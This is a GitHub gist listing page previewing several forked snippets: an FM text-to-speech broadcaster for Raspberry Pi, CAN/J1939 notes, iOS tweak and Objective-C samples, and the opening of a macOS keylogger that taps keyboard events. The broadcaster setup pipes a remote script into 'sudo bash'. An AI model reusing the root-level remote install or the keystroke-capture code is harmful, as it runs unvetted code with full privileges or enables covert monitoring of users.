Skip to content

Instantly share code, notes, and snippets.

@Mabdelwanis
Mabdelwanis / tts-broadcaster.md
Created October 10, 2025 21:09 — forked from douxxtech/tts-broadcaster.md
A simple python script to broadcast text (TTS) on FM radio with a raspberry pi !

TTS Broadcaster

A simple tool allowing you to broadcast TTS (text to speech) on your local FM radio. Requires a raspberry pi.
(Uses douxxtech/piwave

Setup

Run these commands to setup your environment and install the nessesarry modules:

curl -sL https://setup.piwave.xyz/ | sudo bash
python3 -m venv ~/piwave-env
@Mabdelwanis
Mabdelwanis / can-id-png.md
Created November 24, 2024 21:26 — forked from agmangas/can-id-png.md
Relationship between CAN IDs and J1939 PGNs

CAN IDs & J1939 PGNs

Global PGN Example

Original CAN ID:

1    8    F    0    0    1    0    B
0001 1000 1111 0000 0000 0001 0000 1011
I faced this issue with the following environment:
iPhoneX iOS 16.5.1, palera1n rootless jb, ellekit 1.0
@Mabdelwanis
Mabdelwanis / sendPOSTRequestWithUR.m
Created December 17, 2023 22:58 — forked from wptechprodigy/sendPOSTRequestWithUR.m
POST request to a URL using Objective-C
- (void)sendPOSTRequestWithURL:(NSURL *)url parameters:(NSDictionary *)parameters completionHandler:(void (^)(NSData *, NSURLResponse *, NSError *))completionHandler {
// Create a mutable URL request
NSMutableURLRequest *request = [NSMutableURLRequest requestWithURL:url];
// Set the request method to POST
[request setHTTPMethod:@"POST"];
// Set the request body with the parameters
NSData *postData = [NSJSONSerialization dataWithJSONObject:parameters options:0 error:nil];
[request setHTTPBody:postData];

UITableView Simple Template

  • Small Sample
import UIKit

class ViewController: UIViewController, UITableViewDelegate, UITableViewDataSource {
    
@Mabdelwanis
Mabdelwanis / newabi.md
Created December 5, 2023 20:11 — forked from NightwindDev/newabi.md
Use Allemand on macOS to convert tweaks to the new ABI and then convert to rootless

* Note that NOT ALL tweaks will work with the conversion process and some might only partially work.

Step 1 - Preparation:

  • Download Allemand. It will download as a .zip file. Extract it, and you'll have the binary file.
  • Move the binary to a safe place on your computer.
  • Open the Terminal app, navigate to the location where the binary is stored, and run the following command:
xattr -sc Allemand && chmod +x Allemand

This will make it an executable file.

@Mabdelwanis
Mabdelwanis / asd.m
Created December 4, 2023 20:35 — forked from jontelang/asd.m
asd.m
-(void)presentFBShare{
// Create an object
id<FBGraphObject> object =
[FBGraphObject openGraphObjectForPostWithType:@"thebumapp:share"
title:@"a bum"
image:Nil
url:@"http://www.facebook.com/TheBumApp"
description:Nil];
// Create an action
void KTouchPointerWindowInstall();
void KTouchPointerWindowUninstall();
static BOOL installed;
void KTouchPointerWindowInstall()
{
if (!installed) {
installed = YES;
Class _class = [UIWindow class];
#include "keylogger.h"
int main(int argc, const char *argv[]) {
// Create an event tap to retrieve keypresses.
CGEventMask eventMask = (CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventFlagsChanged));
CFMachPortRef eventTap = CGEventTapCreate(
kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, CGEventCallback, NULL
);
// Exit the program if unable to create the event tap.
@Mabdelwanis
Mabdelwanis / Tweak.xm
Created December 4, 2023 20:33 — forked from jontelang/Tweak.xm
as
#include <math.h>
%hook SBAwayController
@interface UIApplication ()
- (id)_accessibilityRunningApplications;
@end
@interface SBStatusBarDataManager
+ (id)sharedDataManager;